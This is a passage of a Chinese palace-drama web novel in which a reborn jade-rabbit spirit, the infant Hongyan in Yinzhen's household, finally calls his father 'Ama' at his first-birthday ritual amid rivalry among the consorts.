不过,时间尚早,看在便宜阿玛素日里对他还不错的份儿上,他可以为父分忧,从娃娃抓起,把兄弟们拉回正道。 flag,就这么简单愉快的立下了! 耿格格见弘昼这般跳脱,生怕弘昼这皮猴子的模样吓到了弘晏,便一脸严肃的喊道:“弘昼。” 话语里满是警告。 可弘晏却觉得小小的弘昼可爱的紧。 有道是“三岁看老”,这么小的弘昼就这般有个性,难怪以后长大了能给自己置办丧事取乐呢。 弘晏很给弘昼面子 ,甜甜的喊了一句:“锅锅。” 弘昼好似没听见耿格格话里的暗示,激动的扭过小脸说道:“嘿嘿,额娘,你听见了吗?弟弟叫我哥哥了。” 弘晏的一句“锅锅”,在弘昼看来,可是使得自己的形象光辉高大起来了。 他有弟弟了,可就不是府里最小的孩子了。 耿格格双眉微颦,沉声道:“弘昼,不得无礼。” 这厢,乌拉那拉氏已然被弘晏的小奶音萌化了,笑道:“欸,弘昼说得不错,今日是福宝的周岁宴,亦是家宴,小孩子爱热闹,不必拘束。” 耿格格瞧着乌拉那拉氏投向自己的视线,边挤出笑容边微微颔首。 有了乌拉那拉氏的话,弘时也往弘晏面前凑了:“六弟,我是你三哥哥。” 说完,弘时一脸殷切的望着肉乎乎的弘晏。 期待之余,弘时心里还有些不服气。 他是长子,弘晏第一声哥哥该叫他才对,平白的叫弘昼那家伙捡了便宜。 弘晏看着目光清澈还有些憨憨的弘时,大气的喊道:“锅锅。” 弘时听罢,咧着嘴嘿嘿笑着。 这下子,弘历也忍不住了:“六弟,还有我,我是你四哥哥啊。” 到底是正儿八经的第一次跟兄弟们见面,弘晏一碗水端平,冲着弘历奶奶的喊道:“锅锅。” 雍亲王府的女眷们见了这温馨的场面,脸上都笑意盈盈的。 只是胤禛的到来,打破了这和谐的画面。 弘时、弘历、弘昼没了刚才的活泼模样,规规矩矩的站在一旁喊了声“阿玛。” 胤禛淡淡应了一声,一双黑眸落在今日的主角——弘晏身上。 这孩子如今连“哥哥”都会喊,就是不会喊:“阿玛。” 胤禛正这样想着,下一瞬,便听见弘晏奶呼呼的一声:“阿阿。” 胤禛:听,是心碎的声音。 弘昼听了弘晏的话,先是嘿嘿笑了笑,而后热心肠的扬起小脸纠正道:“弟弟,不对,是‘阿玛’。” /:. 在场的人心里都明白六阿哥弘晏都满周岁了还不会喊阿玛,但面儿上都装糊涂,谁也不敢提。 只是耿格格见弘昼这般嘴快,一颗心紧张的怦怦直跳,连手心里都沁出了一层汗,不自觉捏紧了帕子。 随即,耿格格偷偷瞄了一眼乌拉那拉氏的脸色,又怯怯的望了一眼胤禛。 乌拉那拉氏脸色如常,胤禛本就是那幅冷冰冰的样子,也看不出什么异常,只是耿格格感受的到如今的气氛有些微妙,便壮着胆子朝着弘昼招了招手,用尽量温和的口吻喊道:“弘昼,来额娘这儿。” 弘昼听到耿格格的召唤,摇了摇小脑袋:“我要和弟弟一块。” 耿格格闻言,恨不得马上冲过去将弘昼一把抓回来,可是理智告诉她不可以,正当耿格格想要再度开口说话的时候,却被李侧福晋抢了先。 “耿妹妹将弘昼教养的真好,小小年纪便有了兄长的模样,会教弟弟喊人了。”李侧福晋看着耿格格,满脸都是笑容,一幅看热闹的样子。 耿格格见李侧福晋直接对自己发难,忐忑不安的揉搓着手里的帕子,想要解释一番却不知该如何开口。 乌拉那拉氏闻此言,隐隐有些不悦。 这个李氏,真是好了伤疤忘了疼。 不过,她心里明白胤禛嘴上不说,但内心一直盼望着弘晏能早日喊他一声“阿玛”,是以,她在私下里没少教弘晏喊“阿玛”,可也怪了,这孩子却怎么都学不会。 在场众人心思各异,下一瞬,年侧福晋悠悠开了口:“李姐姐这话说得不错,但要真的论起年纪来,该是咱们三阿哥最大,是为长兄,更应是几位小阿哥的好榜样了。” 十岁的弘时将年侧福晋的话听了进去并且深觉有理。 他是阿玛的长子,该担起身为长子的责任,教导幼弟的事情理应由他来做,弘昼一个三岁的娃娃懂什么,哪里会教,额娘真是夸大其词了。 刚刚弘昼已然抢了他两次风头,如今阿玛在场,他更该好好表现,让阿玛对他刮目相看。 弘时打定了主意,端起长兄的派头来,便自信从容的看着弘晏开了口:“六弟,三哥来教你,是‘阿~玛~’,来,跟我读,‘阿~玛~’。” 弘时将每个字的读音拉长,好让弘晏听得明白。 李侧福晋眼睁睁看着自己的儿子傻乎乎的往年氏挖好的坑里跳,气得都快要昏过去,可碍于胤禛在场,不好发作,只恨恨的望向年侧福晋。 年侧福晋的余光察觉到了来自李侧福晋的眼刀子,只掀了掀嘴角,连一个正眼都没有给李侧福晋。 而身为今日主角且投身于吃瓜第一线的弘晏,看着面前十分努力张口教学的弘时,眨了眨眼睛。 弘时见状,思忖着六弟确实不大聪明,他读的语速都这般慢了,竟还不会。 没关系,他再教一遍就是。 弘时掩下心中思绪,再次开口:“阿~玛~。” 这一回,弘晏倒是张开了小嘴,在弘时满是期待甚至有些激动的目光中,脆生生答了一声:“欸。”??? 他这是被六弟占便宜了!!! 弘时原地石化。 李侧福晋的脸色则是一阵红一阵白的。 年侧福晋倒是没有想到弘晏会这么回答,拿起帕子掩了掩弯起的唇角。 瞧瞧,刚满周岁的六阿哥都比三阿哥聪明。 其余的格格们是想笑又不敢笑,要么死/死/抿着嘴唇,要么手握成拳,用指尖抵着掌心的肉。 胤禛依旧是淡定的模样,只是无人在意的角落,胤禛掀了掀嘴角,看向弘晏的眼睛里满是柔和。 小鬼头。 对上胤禛的视线,弘晏有些诧异。 便宜阿玛好像看出来他是故意这么喊的了。 不对,应该是他的错觉,他现在只是一个小宝宝,皮一点儿很正常,况且便宜阿玛又不是他肚子里的蛔虫。 弘晏这么想着,突然跌进一个宽阔坚硬的怀抱里。 弘晏抬起小脑袋一看,自己原来是到便宜阿玛怀抱里了。 下一瞬,胤禛抱着弘晏往前院去,其余人赶忙退至两旁,将路让出来。 待胤禛与乌拉那拉氏走后,年侧福晋便抬起了步子,其余的格格们有序的跟在后面。 耿格格赶忙拉住弘昼,边走边嘱咐弘昼万不可再胡乱说话了。 不一会儿的功夫,院子里只剩下李侧福晋与弘时两个人了。 李侧福晋抬起手戳了戳弘时的脑袋瓜,没好气的说道:“你呀,人家设个套,你就往里钻。” 弘时扬起脸,一本正经的说道:“额娘,六弟还那么小,哪里会给我设套。” 随即,弘时的脸上浮现一抹同情的神色:“六弟真是可怜,都满周岁了,还不会叫‘阿玛’,我身为长兄,是不会跟六弟计较的,额娘,你也不必放在心上。” 说到最后,弘时的眼神又变得坚定起来。 而李侧福晋听完了弘时的话,被气得说不出话来,只抬手捂住心口,逼着自己平静下来。 弘时见状,又一脸担心的问道:“额娘,你这是怎么了?” 李侧福晋瞧着弘时这般紧张自己的身子,一时间心情万般复杂,将捂住心口的手放下,咬着牙说道:“我,好的很。” 第24章 第24章小兔玉佩 雍亲王府的前院正厅内。 地板上铺了一张大红色的薄毯子,上面摆放着各式各样的物品,众人围着毯子而站,形成了一个圆圈。 胤禛在众人的注视下将小弘晏放在了红毯子上。 弘晏看着眼前琳琅满目的物品,明白这是人间的抓周仪式。 一旁的乌拉那拉氏见弘晏站着不动,便柔声开口:“福宝,想要什么便拿什么。” 乌拉那拉氏只盼着弘晏能够平安健康的长大,至于拿到什么物品,她并不在意。 弘晏闻言, 冲着乌拉那拉氏嘿嘿一笑,随即迈起了小碎步子。 厅内众人的视线,便追随着弘晏移动的小身影。 弘晏最先走到了一本蓝灰皮的《三字经》面前,一点儿停留都没有,便摇摇晃晃的继续往前走,李侧福晋瞧见这一幕,勾了勾唇。 弘晏接着迈步越过小算盘、狼毫笔,连个眼神也没有。 李侧福晋见状,心中欢喜。 如此瞧来,这六阿哥也不是个爱读书的料子。 胤禛瞧着幼子的举动,脸上并无半分波动,只是有些好奇这小家伙稀罕什么。 红毯子上面摆放的物品,对于寻常周岁的孩子来说,是十分吸引人的,可是对于活了几百年的玉兔精来说,就没什么稀奇的了。 他可以什么都不拿吗? 小玉兔思忖间,余光忽然发现了一块亮亮的东西。 小玉兔掩下心中思绪,迈步走了过去,小玉兔才瞧清楚,原来是一块小巧的兔子形状的玉佩。 小玉兔的眼睛瞬间亮了,毫不犹豫的弯腰拿起了玉佩。 玉兔精当然要拿小兔子了。 弘晏拿着玉佩哒哒的走到乌拉那拉氏面前,努力举起玉佩给乌拉那拉氏瞧,扬着小脸喊道:“额~凉。” 乌拉那拉氏见状,笑意柔柔的伸出双手将弘晏抱了起来,让弘晏坐在自己的臂弯处:“福宝,喜欢这个玉佩?” 弘晏甜甜喊道:“啊啊。” 小玉兔当然喜欢小兔子了。 这时,李侧福晋笑着开了口:“六阿哥真是好眼光,这玉佩一瞧就是好东西,不像三阿哥抓周时,金的银的都不要,却要拿一本《三字经》,小小的手拿不起来还要掉泪珠子呢。” 李侧福晋这话明褒暗贬,踩低了乌拉那拉氏所生的六阿哥,抬高自己所生的三阿哥。 只是李侧福晋这话刚落地,弘时却是第一个不乐意了。 小少年眉头微颦,有些不悦的朝着李侧福晋喊了一声:“额娘。” 今日是六弟的好日子,府内的人都在,提他幼时的糗事做什么,真真是丢人的紧。 李侧福晋闻言,恨铁不成钢的对弘时使了个眼色。 这个傻儿子,听不出来自己是在夸他吗?! 偏偏弘时瞧不出来李侧福晋的心思,赌气似的将小脸扭过去,不再看李侧福晋。 额娘当众说了他的糗事,竟还怨他不高兴了,这事换了谁,谁都不会高兴的。 生闷气的弘时感觉到有一道视线正盯着他瞧,一抬头,发现竟然是乌拉那拉氏怀里的弘晏。 看着糯米团子似的六弟,弘时的心情好了许多,同时也有些担心,他刚刚与额娘说话的样子是不是太凶了,会不会吓到六弟了,不然怎么六弟怎么一动不动的看着他,万一六弟哭了怎么办? 六弟以后不叫他哥哥了,怎么办? 六弟以后害怕他,不跟他亲近怎么办? 疑问一个接一个涌上心头,弘时想挽救一下自己在弘晏心里的形象,于是乎,弘时挤出了一个自认为很阳光灿烂的笑容。 弘晏:…… 他这个三哥不仅憨憨的,还有些傻乎乎的。 他只是想静静地窝在香香额娘的怀里吃瓜而已,突然对他笑做什么? 而且笑得比哭还难看。 算了,算了。 目前来看,弘时对他做出的都是善意的举动,有道是:“来而不往非礼也。” 于是,弘晏回了弘时一个甜甜的笑容。 弘时见状,心中一喜,弯了弯嘴角。 六弟对他笑了! 太好了,六弟没有被他吓到,六弟还是喜欢他这个三哥的。 而距离李侧福晋最近的年侧福晋,观着这母子两个的举动,扯了扯嘴角。 别说弘时自愿跳进自己设的套,连他亲额娘给旁人挖的坑,连眼都不眨的跳了进去,还真是少见呢。 而苏培盛听了李侧福晋的话,第一时间瞄了主子胤禛的脸色。 虽然胤禛脸上并没有什么明显的波动,但苏培盛作为胤禛的心腹,自然是能看出来自家爷现在不高兴。 于是乎,苏培盛对着李侧福晋夸道:“侧福晋您好眼力,因着六阿哥属兔,所以这块玉佩可是几个月前,主子爷特意吩咐玉匠,为了今日的抓周礼打造的。” 李侧福晋听完,整个人都呆住了。 小丑原来是自己。 这件事乌拉那拉氏并不知晓,听苏培盛说完以后,心里也有些触动。 胤禛这个人向来是做的比说的多。 弘晏低头看了看手里的小兔玉佩,又抬头望了望依旧一脸平静的胤禛。 这是便宜阿玛特意给自己准备的周岁礼,还不直接送给自己,而是混在抓周仪式上,等着自己发现,真是浪漫的老父亲一枚呢。 弘晏手里拿着小兔玉佩,心里暖暖的。 随即,弘晏抬起小脑袋,对着胤禛所在的位置,张口喊道:“阿~玛~。” 最先反应过来的是抱着弘晏的乌拉那拉氏。 乌拉那拉氏压下心头的激动,诧异的问道:“福宝?你刚才说什么?” 弘晏闻言,瞧着胤禛,又大声喊道:“阿~玛~。” 屋子里鸦雀无声,弘晏这声:“阿玛”,在场众人都听得清清楚楚。 迟疑而且有些不确信的胤禛,终于在此时确定了,他没有听错,弘晏就是在喊他,喊他:“阿玛。” 旋即,胤禛大步迈过去,直接从乌拉那拉氏怀里接过弘晏,笑呵呵的在弘晏的脸蛋儿上亲了一口:“好儿子。” 随即,胤禛将弘晏抱进怀里。 弘晏贴着胤禛的胸膛,清晰的听见由于胤禛的笑声,而引发的胸腔振动。 原来,自己叫一声“阿玛”,便宜阿玛会这么高兴啊。 弘晏顿时有点儿小愧疚了,小脑袋在胤禛怀里蹭了蹭,糯糯的喊道:“阿~玛~。” 而乌拉那拉氏满是欣慰的看了一眼弘晏,随后用眼睛扫视了屋内众人,最后将视线落在了李侧福晋身上。 李侧福晋发觉乌拉那拉氏犀利的目光,抿着嘴,讪讪的低下了头。 乌拉那拉氏微抬了抬下巴,她就站在这里瞧着,谁还敢说她的福宝不会叫“阿玛。” 李侧福晋今日当众打脸,年侧福晋此时顾不上高兴,却有些伤神,若是她的孩儿还在,也会这般甜甜的喊她一声“额娘”,喊胤禛一声“阿玛。” —— 今日胤禛确实高兴,在周岁宴上多喝了几杯,待宴席散后,胤禛便回了正院。 小弘晏今日也费了不少精气神儿,吃饱喝足,现在已然躺在内室的摇篮椅里呼呼大睡了。 胤禛瞧着弘晏呼吸匀称,小肚子一股一股的,便贴心的给弘晏掖了掖被角,而后走出了内室,掀起衣袍一角,落坐在了檀木小榻上。 流萤将一碗醒酒汤放在胤禛面前,便拿着漆木托盘退了出去。 乌拉那拉氏正要坐在小榻的另一侧,却见胤禛抬手拍了拍身旁空出来的位子,便改步落坐在了胤禛身旁。 胤禛握住了乌拉那拉氏的手,喊道:“锦安,我……” 不待胤禛说完,乌拉那拉氏便接了话茬:“爷高兴,福宝喊了你‘阿玛’。” 胤禛点了点头,嘴角控制不住的上扬。 乌拉那拉氏有些无奈,用眼神示意了一下胤禛。 胤禛心领神会,松了乌拉那拉氏的手,转而端起了那碗醒酒汤。 胤禛身上虽有酒气但并不难闻,乌拉那拉氏瞧着胤禛有些泛红的脸,言道:“爷也不是第一次做阿玛了。” 胤禛将醒酒汤一饮而尽,将空碗放回到炕桌上,旋即扭过脸看着乌拉那拉氏,拉起乌拉那拉氏的手,一本正经的说道:“弘晏不一样,锦安,我觉得是弘晖回来了。” 听到弘晖的名字,乌拉那拉氏眸子一颤,将手抽了出来,别开脸说道:“爷醉了。” 今个儿一整天都欢欢喜喜的,她不想再去触碰埋藏在心底的伤疤。 胤禛眸子一暗,弘晖的死是他与乌拉那拉氏心中无法弥补的伤痛,他们夫妻的关系也因此变得冷淡。 这些年来,他与乌拉那拉氏嘴上虽不提及,但心里 从未忘记过弘晖。 胤禛顿了顿,还是开了口:“爷没醉,爷清醒的很。弘晖,是极好的孩子,聪慧懂事,知晓我对他的期盼,对自己也严苛,病中也不肯放下功课……” 胤禛说到这里,语气变得哽咽。 而此时的乌拉那拉氏,眼眶中蓄起的泪珠,无声的从泛红的眼尾滑落下来。 胤禛抬手,将乌拉那拉氏的身子转回来:“锦安,我知你心中对我有怨言,弘晖没了,我又何尝不心痛,好在老天有眼,又将弘晖给我们送回来了……” 乌拉那拉氏拂开胤禛的手,拿着帕子拭泪,而后起身道:“爷,夜深了,妾身累了,爷也早些回房安寝吧。” 话音落下,乌拉那拉氏转而迈步进了内室。 胤禛叹了口气,随后站起身,迈步离开了正院。 外面守着的苏培盛,瞧着胤禛脸色不好,不明所以,但还是赶忙跟了上去。 内室中的乌拉那拉氏,站在摇篮椅前,伸出手轻轻抚摸着弘晏熟睡的脸庞。 小家伙不知在做什么美梦,还咂了咂嘴巴。 乌拉那拉氏心中一软,嘴角微扬。 下一瞬,乌拉那拉氏收回了手,移步到窗前,抬眸瞧向那远在天边的弯月,喃喃道:“弘晖,我的儿……” 第25章 第25章糖果风波 四月的天儿,风和日丽,万里无云。 正院内的奴才们,正有条不紊的忙活着自己的差事儿。 屋子里,乌拉那拉氏陪着弘晏在檀木小榻上玩九连环。 弘晏满周岁不久,年纪还小,乌拉那拉氏没教弘晏怎么解九连环,更没指望弘晏会解九连环,只不过是想拿个玩意儿哄弘晏高兴罢了。 果然,这九连环发出的清脆叮当声响,还真吸引了弘晏。 弘晏就乖乖的坐在檀木小榻上,一脸专注的把玩着九连环。 乌拉那拉氏见状,笑意盈盈的端起青花瓷茶盏,呷了一口茶。 这时,流萤迈步过来站立于乌拉那拉氏身侧,开口禀道:“福晋,耿格格带着五阿哥来给您请安了。” 乌拉那拉氏闻言,将手里的茶盏放回原处,点头道:“叫她进来吧。” 片刻后,只见耿格格牵着三头身的弘昼缓缓走进来,旋即,耿格格松了牵着弘昼的手,福身道:“妾身给福晋请安。” 一旁的弘昼,有模有样的作揖道:“儿子给嫡额娘请安。” 弘昼嘴上说着请安的话,圆溜溜的眼睛,却看着坐在乌拉那拉氏身旁,正低头摆弄九连环的弘晏。 “弟弟!” 弘昼兴冲冲的喊道。 几日不见,弟弟好像吃胖了。 小脸肉乎乎的,更可爱了。 一旁的耿格格眉头微颦,轻斥道:“弘昼,不得无礼。” 这孩子出门前答应的好好的,一来就忘了她的嘱咐,又乱说话。 弘晏正聚精会神的解九连环,压根没注意到屋子里多了两个人,突然听见熟悉的小奶音,一抬头便瞧见了正冲着他笑的弘昼。 弘晏发现弘昼笑起来,脸上竟然有一个小酒窝。 还蛮好看的呢。 弘晏回以一笑:“锅锅。” 乌拉那拉氏见兄弟两个一来一往的打招呼,眉眼间尽是温柔:“无妨,银烛,拿些玩具过来,叫两个阿哥一起玩吧。” 银烛应了一声,便去办了。 乌拉那拉氏的视线,又落在有些拘谨的耿格格身上:“别拘着了,坐吧。” “是。”耿格格颔首道。 这厢,银烛在地上铺了一层毯子,又将玩具摆放在上面,王乳娘则将小榻上的弘晏抱起,放在了毯子上。 弘昼见状,也坐在了毯子上,兄弟两个很快拿着玩具玩了起来。 流萤捧着一盏热茶,放到耿格格面前,便退到一旁侯着。 耿格格扫了一眼弘昼,才看向乌拉那拉氏,开口道:“弘昼几日前不甚染了风寒,多亏福晋请了太医进府,如今弘昼病愈,妾身自该带着他来给福晋请安。” 凡名医者,大都有自己的规矩和行事风格。 柳从南也不例外。 弘昼得了风寒那日,恰好是柳从南进山采药的日子,不在府中。 耿格格本想差了身边的丫鬟去外面的药铺请位大夫进府,乌拉那拉氏得知后,便命流萤拿着腰牌进宫,请了位太医给弘昼诊治。 耿格格今日带着弘昼来正院,名为请安,实则是道谢。 乌拉那拉氏闻言,笑了笑:“皇家的孩子金贵,也不是什么大夫都能诊治的,难为你有心,还特意带着弘昼过来。” 坐在绣墩上的耿格格陪笑道:“应当的。” 两个大人说话时,弘昼和弘晏两个小人儿也没闲着,两个人一起拼起了七巧板。 弘昼将腰间的荷包解开,拿出了一块粽子糖放进嘴里时,正好被弘晏瞧见了。 弘昼嘿嘿一笑,又从荷包里拿出一颗粽子糖塞进了弘晏嘴里:“弟弟尝尝,可甜了。” 弘昼的动作太快,王乳娘还没反应过来,粽子糖已经进了弘晏嘴里。 不过六阿哥已经满周岁了,吃块糖想来也是无妨的。 弘晏可不知王乳娘心中所想,他只知道粽子糖的甜味儿已经开始在他舌尖上蔓延了。 弘晏咂了咂嘴,粽子糖确实很甜。 耿格格与乌拉那拉氏说话时,余光时不时的瞟向弘昼所在的方向,见弘昼不知将什么东西塞进弘晏嘴里时,耿格格心里一惊,忙扭过头喊道:“弘昼,你给弟弟吃了什么?” 乌拉那拉氏听到耿格格的话,立马看向了弘晏。 而弘晏正细细品味着嘴里的粽子糖。 弘昼微微一怔,而后看着耿格格说道:“粽子糖啊。” 粽子糖? 这本来是前几日弘昼嫌药苦,不肯乖乖喝药时,耿格格给了他粽子糖哄他喝药的,却不想今日来正院,弘昼竟然还偷偷带来了,而且还喂给了弘晏吃。 耿格格一脸严肃的看着弘昼说道:“弘昼,你还未请示过嫡额娘,怎么能给弟弟喂东西吃呢?快过来给嫡额娘请罪。” 弘昼觉得自己没错,站着没动。 耿格格没了耐性,“蹭”的站起身,三步并作两步走过去,就要拽着弘昼给乌拉那拉氏请罪,可弘昼却使劲往后退。 耿格格有些气急了,弯腰在弘昼屁股上打了一下:“你这孩子。” 弘晏见一颗小小的粽子糖竟惹出这风波来,连忙从毯子上爬起来走过去扯着耿格格的衣摆,焦急的仰着小脸喊道:“不打,锅锅好,糖糖甜。” 弘晏有些着急,他的年纪太小,还说不了完整的话。 不过,耿格格应该能明白他的意思了吧。 弘晏说完,松了耿格格的衣摆,又摇摇晃晃的走到乌拉那拉氏面前,软糯糯的说道:“额凉,锅锅,锅锅好。” 乌拉那拉氏自然明白弘晏的意思,温柔的摸了摸弘晏的小脸蛋儿:“额娘知道。” 随即,乌拉那拉氏朝着弘昼招了招手。 耿格格推了推弘昼:“嫡额娘叫你呢,快过去。” 弘昼不情不愿的瘪着嘴,慢吞吞的走过去,来到了乌拉那拉氏身边。 弘晏见状,抱了抱弘昼,安慰道:“好锅锅。” 弘昼的小脸儿才好看了些。 乌拉那拉氏抬手将弘昼拉到身边来,耐心教导:“弘昼,你是哥哥,有好吃的还知道给弟弟吃,这是好的,只是弟弟太小了,有的东西吃不得,所以你要问过额娘与嫡额娘,再给弟弟吃,明白吗?” 弘昼点了点小脑袋。 乌拉那拉氏笑着摸了摸弘昼的小脑瓜,随即抬眼对着流萤说道:“去内室,将那匹松绿色的妆花缎拿来,我瞧着给弘昼做衣裳正好。” 流萤应了一声,迈步往内室去了。 耿格格听罢,开口婉拒道:“福晋,这料子还是留给六阿哥裁衣吧。” 乌拉那拉氏眉眼弯弯的看着耿格格:“欸,弘昼小小年纪便知疼爱幼弟,自该嘉奖,你无需推辞。” 耿格格见状,屈膝道:“多谢福晋。” 而后,耿格格开口提醒弘昼:“弘昼,快谢过嫡额娘。” 弘昼抬起小手作揖道:“多谢嫡额娘。” 弘昼话音刚落下,流萤正好捧着妆花缎出来,便直接交给了耿格格的丫鬟秋叶。 耿格格母子临走前,弘晏抬起小 手跟弘昼挥挥:“锅锅。” 弘昼也学着弘晏的动作,跟弘晏挥手再见。 待耿格格母子走远了,乌拉那拉氏将弘晏抱起来,让其坐在自己的膝头,而后曲起食指轻轻刮了一下弘晏的鼻头,宠溺道:“你呀,小馋猫。” 弘晏嘿嘿一笑,而后耍赖似的窝进乌拉那拉氏怀里,用小脑袋边蹭边软乎乎的喊道:“额凉~” 这时,王乳娘走出来跪在地上请罪:“奴婢有罪,五阿哥喂六阿哥吃粽子糖,奴婢没有及时拦下,请福晋治罪。” 乌拉那拉氏闻言,敛了笑容,缓缓开口:“这次便罢了,以后警醒些。” 王乳娘听罢,忙磕头道:“奴婢多谢福晋开恩。” 这时,乌拉那拉氏怀里的弘晏又开了口:“额凉,饿了。” 乌拉那拉氏示意王乳娘起身,而后笑眯眯的问道:“额娘让人给你做鸡蛋羹吃,好不好?” 弘晏点了点小脑袋。 —— 这厢,耿格格拉着弘昼出了正院没多远,弘昼猛然松开耿格格的手,向前跑去。 “弘昼。” 耿格格喊了一声,不见弘昼停下,便忙小跑追去。 弘昼跑到了甬道的尽头,却依旧没有停下的意思,拐向石子小路继续奔跑。 因着弘昼只顾奋力奔跑,没顾着看人,不承想,一下子撞上了迎面走过来的李侧福晋。 “哎吆。” 李侧福晋身子一咧,幸而被身旁的春风稳稳扶住。 待李侧福晋站稳了,看清面前的小人儿时,眉头一皱,厉声道:“弘昼,你眼睛长头上了,直直的往本侧福晋身上撞。” 弘昼也吓傻了,呆呆的站在原地。 李侧福晋眉毛一翘,哼道:“怎么?难不成嘴也哑巴了?” 耿格格终是追了上来,一把将弘昼护在身后,恭恭敬敬的福身道:“妾身给侧福晋请安,弘昼一时鲁莽,冲撞了侧福晋,还望侧福晋恕罪。” 耿格格说完,对着身后的弘昼说道:“弘昼,快给侧福晋认错。” 弘昼知晓闯了祸,听自己额娘的话,乖乖的拱手道:“李姨娘,弘昼错了。” 李侧福晋瞥了一眼请罪的母子二人,随即抬手扶了扶鬓边的红宝石簪子,哼道:“本侧福晋受了惊吓,你们母子轻飘飘的一句‘错了’,就没事了吗?” 今个儿早上,她娘家送信进府,说家里为她侄子谋差事,疏通关系需要银两打点,生生要了她二百两银票。 她又不似年氏富裕,贴补了娘家二百两银票,本就心情不好,被丫鬟劝着出来走走散散心,还叫弘昼给撞了,真真是晦气的很。 耿格格听着李侧福晋的话音,知晓对方还生着气,便道:“侧福晋,妾身刚从正院请安回来,福晋赏了一匹妆花缎,如今妾身便借花献佛,赠与侧福晋。” 秋叶闻言,便捧着妆花缎走到李侧福晋身旁。 李侧福晋扫了一眼妆花缎,看着眼前人质问道:“耿氏,本侧福晋难道缺一匹衣料不成?” 耿格格忙开口解释:“妾身绝无此意。” 李侧福晋捋着手里的锦帕,悠悠开口道:“罢了,本侧福晋宽宏大量,你让弘昼跪下磕个头,这事儿便算了。” 耿格格闻言,羽睫扑闪了两下,随即撩起衣摆,直挺挺的跪在了石子小路上,强忍着膝盖传出的疼痛,出声道:“侧福晋,子不教,母之过,妾身代弘昼向侧福晋请罪,还望侧福晋宽宥弘昼。” 弘昼见状,瞬间红了眼眶,哽咽道:“额娘。” 耿格格斥道:“住口。” 随即,耿格格给丫鬟秋叶使了个眼色。 秋叶赶忙绕过来拉住弘昼,以防弘昼再乱说话,惹得李侧福晋不快。 随后,耿格格弯下身子,深深的给李侧福晋磕了头。 待耿格格直起了身子,李侧福晋弯了弯唇,居高临下的说道:“耿妹妹,你方才这头是替弘昼磕的,那你自己没管教好孩子,又该怎么算呢?” 耿格格心中一惊,攥紧了手中的帕子,而后谦卑的开口道:“侧福晋提醒的是,妾身管教不严,自当磕头请罪。” 一旁的秋叶见李侧福晋咄咄逼人为难自家主子,已然红了眼眶,可自己又无能无力。 而弘昼可就忍不住了,甩开秋叶的手,跑进草坪里,挖起一块泥土狠狠的砸向了李侧福晋。 电石火花间,只听得李侧福晋一声惊呼“啊!” 第26章 第26章欺软怕硬 昨日有奴才在石子路旁边的草坪里,移植了新品种的花草,是以那泥土蓬松,弘昼轻而易举就能挖起一大块来。 春风见状,忙上手帮着李侧福晋擦拭着衣裳上的泥土,却被李侧福晋嫌弃的推开:“蠢货,还不给我按住那小崽子。” 春风应了一声,小跑去抓弘昼。 这边的秋叶也不顾得手中乌拉那拉氏赏赐的妆花缎,手一松,忙去护住弘昼。 耿格格见状,连忙起身拿着帕子给李侧福晋擦拭衣裳,一边擦一边求情:“侧福晋恕罪,弘昼不是有心的。” 李侧福晋火冒三丈,瞪着眼睛喊道:“不是有心的,都敢砸人了,若是有心的,岂不是要杀人了。” 耿格格连连摇头,急忙解释:“侧福晋言重了,弘昼他,他年幼无知,绝不是有心的。” 李侧福晋见春风连个孩子都抓不住,一把推开耿格格,要亲自动手。 耿格格见状,忙伸出双臂拦在李侧福晋身前。 李侧福晋气急败坏的骂道:“耿氏,你好大的胆子,你眼里还有没有尊卑,连本侧福晋的路都敢拦?” 耿格格扑通一声跪在了地上,眼眸中满是慌乱,哀求道:“妾身不敢,侧福晋您就宽恕弘昼这一回吧。” 这时,一道清亮的女声悠悠响起:“真是好生热闹啊。” 耿格格寻声望去,原来是年侧福晋。 眼见着年侧福晋走过来,跪在地上的耿格格颔首道:“见过年侧福晋。” 年侧福晋应了一声,眉眼一抬,便喝斥道:“春风,你一个丫鬟,竟然敢拉扯阿哥。” 春风闻言,立马住了手。 秋叶见状,赶忙将弘昼护在身后。 与此同时,李侧福晋抬了抬下巴,语气中尚带着怒意:“是我命她做的。” 年侧福晋听罢,悠悠扭头,看着李侧福晋,出言讽道:“李姐姐真是好生威风啊,竟和一个三岁的娃娃计较。” 李侧福晋闻言,柳眉倒竖,哼道:“弘昼这小崽子先是撞了我,又拿泥巴扔我,我不该好好管教管教他。” 她哪里受过这般委屈,一个三岁的小娃娃都要骑到她头上去了。 “李姐姐,弘昼自有亲额娘管教,再者上面还有福晋与爷教导,怕是轮不到李姐姐来教训吧。”年侧福晋说着,又瞧了一眼还跪在地上的耿格格,接着道:“这耿格格不是已经代子赔罪了吗?李姐姐又何必抓住不放呢?” 李侧福晋目光犀利的望向年侧福晋,挺了挺腰杆儿,语气生硬:“年妹妹这话不只是要管闲事,还想教训我?你别忘了,你我虽同为侧福晋,我入府可比你早。” 说完,李侧福晋倨傲的扬了扬头颅,连那鬓边的红宝石簪子都闪烁着刺眼的光泽。 年侧福晋浅浅一笑,直视着李侧福晋的目光,悠悠道:“李姐姐言重了,我只是好心提醒李姐姐,弘昼到底是爷的骨肉。” 李侧福晋听罢,一双眼眸快速闪烁着光芒,显然是有些心虚了。 但面对着年侧福晋,李侧福晋还是强硬的说道:“我还没有老糊涂,我只不过叫春风拉着弘昼过来,给我磕头认错罢了。” 年侧福晋转而看向跪在地上的耿格格,询问道:“头,耿格格应是代子磕过了吧?” 耿格格怯怯的看了李侧福晋一眼,再对上年侧福晋的视线时,还是坚定的点了点头。 年侧福晋心中了然,便对着耿格格开口道:“那便起身吧。” 李侧福晋眉头一拧,嚷嚷道:“年氏,你眼里是没我这个人了吗?” 耿格格见状,一时间左右为难,起也不是,跪也不是。 年侧福晋没答,而是给了身旁的桃夭一个眼色。 桃夭心领神会,迈步上前,将无措的耿格格搀扶了起来。 李侧福晋的一腔怒火蹿上心头,吼道:“年氏,你 把我当死/人了不成?” 年侧福晋上前一步,行至李侧福晋面前,脸上带着和煦的笑,用最温柔的语气开口说道:“是,又如何?”!!! 李侧福晋肺都快要气炸了,抬手指着年侧福晋,连嘴唇都在颤抖,不敢置信道:“你,你……” 年氏竟然嚣张到这种地步。 这时,扶着耿格格的桃夭,满是得意的开了口:“李侧福晋还不知道吧,我们二爷奉皇命回京述职,不日就要抵达京城了。” 李侧福晋的脑子轰然炸开。 我们二爷? 年羹尧! 年羹尧要回来了!!! 要知道,如今的年羹尧已然是四川巡抚了,很得康熙重用,更是胤禛的心腹。 片刻后,李侧福晋重新调节了自己的情绪,挤出笑容说道:“年妹妹,方才这玩笑话可不好笑,不过,我自然不会和一个孩子过不去,这儿景色不错,年妹妹自行观赏吧,姐姐我还有事,便先告辞了。” 